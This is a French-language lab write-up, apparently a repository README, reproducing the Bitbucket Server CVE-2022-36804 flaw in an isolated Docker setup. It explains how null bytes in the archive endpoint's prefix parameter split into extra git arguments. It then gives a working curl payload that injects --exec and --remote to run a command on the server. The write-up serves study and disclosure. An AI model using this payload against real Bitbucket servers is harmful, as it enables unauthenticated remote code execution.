
Investigating CVE-2022-36804
Recréation d'une vulnérabilité d'exécution de code à distance où Bitbucket ne parvient pas à assainir les entrées utilisateur, ce qui permet aux attaquants d'injecter des options Git et d'exécuter du code à distance.
Ce dépôt documente comment j'ai reproduit la vulnérabilité CVE-2022-36804, un problème d'injection d'arguments avant authentification dans Bitbucket Server. L'objectif était de démontrer le problème de sécurité sous-jacent tel que décrit dans l'analyse publique d'Assetnote. Tous les tests ont été effectués dans un environnement local isolé.
CVE-2022-36804 est causée par Bitbucket qui transmet directement les entrées utilisateur à un sous-processus git archive sans assainir les octets nuls. Comme Bitbucket utilise NuProcess pour lancer git, les octets nuls sont préservés et provoquent une division des arguments. Cela permet à un attaquant d'injecter des options git supplémentaires dans la commande. Dans les versions vulnérables (telles que 7.21.0 utilisée dans cette configuration), cela conduit à une exécution de code à distance sans authentification.
Cette vulnérabilité d'exécution de code à distance avant authentification se produit dans le point de terminaison /archive qui est responsable de la génération d'archives de dépôt avec la fonction git archive. Bitbucket transmet le paramètre prefix directement au sous-processus git, mais sans assainir les octets nuls. Comme git est implémenté en C, un octet nul termine la chaîne prématurément. Tout ce qui suit l'octet nul est donc interprété comme un argument de ligne de commande distinct. Cela permet à l'attaquant d'injecter des options git arbitraires dans la commande.
Cela fonctionne car Bitbucket utilise NuProcess qui préserve les octets nuls au lieu de les supprimer. En conséquence, Git reçoit l'entrée brute exactement telle qu'elle est fournie par l'utilisateur. Comme git traite les octets nuls comme des terminateurs de chaîne, la valeur prefix est divisée en plusieurs arguments lorsqu'elle est transmise au sous-processus git. Cela permet de faire passer clandestinement des options git supplémentaires après l'octet nul. Combinée à des options telles que --exec et --remote, cette injection d'arguments conduit directement à une exécution de code à distance dans les versions vulnérables de Bitbucket Server.
TEST/demo)Pour démarrer l'environnement :
docker compose up -d
Vérifier la version :
cat /opt/atlassian/bitbucket/VERSION
La clé de cette CVE est de montrer qu'un octet nul dans le paramètre prefix amène Bitbucket à transmettre plusieurs arguments à git archive.
docker exec -it bitbucket bash
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
Laissez pspy en cours d'exécution.
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/demo/archive?prefix=test%00canary&format=zip"
Ceci teste si l'octet nul provoque la division des arguments.
Dans pspy, Bitbucket génère :
/usr/bin/git archive --format=zip --prefix=test canary/ --
Ici, test et canary apparaissent comme des arguments distincts au lieu d'un seul. Le %00 divise l'entrée et Bitbucket est obligé de les transmettre comme des arguments indépendants à git.
L'image ci-dessous montre pspy s'exécutant dans le conteneur Docker Bitbucket et capturant /usr/bin/git archive --format=zip --prefix=test canary/ -- (PID=666). Ce qui a été envoyé comme une seule valeur - test%00canary - est transmis comme deux arguments distincts. L'octet nul divise l'entrée, ce qui fait passer un argument supplémentaire dans la commande git.
En injectant --exec=touch /tmp/pwned et --remote=file:///... via des octets nuls, le serveur exécute une commande arbitraire. Même si git se termine avec le code 128, la commande s'exécute avant que git ne renvoie l'erreur et /tmp/pwned est créé dans le conteneur.
Charge utile :
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/DEMO/archive?at=ebbabd99dd2da7bb5f8ed6dea8c988253fb43260&prefix=x%00--exec=touch+/tmp/pwned%00--remote=file:///var/atlassian/application-data/bitbucket/shared/data/repositories/1%00x&format=zip"
L'image ci-dessous montre pspy capturant la chaîne d'exécution complète - /usr/bin/git archive s'exécutant avec les arguments --exec et --remote (PID=74412), lançant /bin/sh touch /tmp/pwned (PID=74413)

Avec docker exec -it bitbucket ls -la /tmp/pwned, il a été possible de vérifier que le fichier avait été créé.
Ceci est montré dans l'image ci-dessous.

Johan - Stockholm, Suède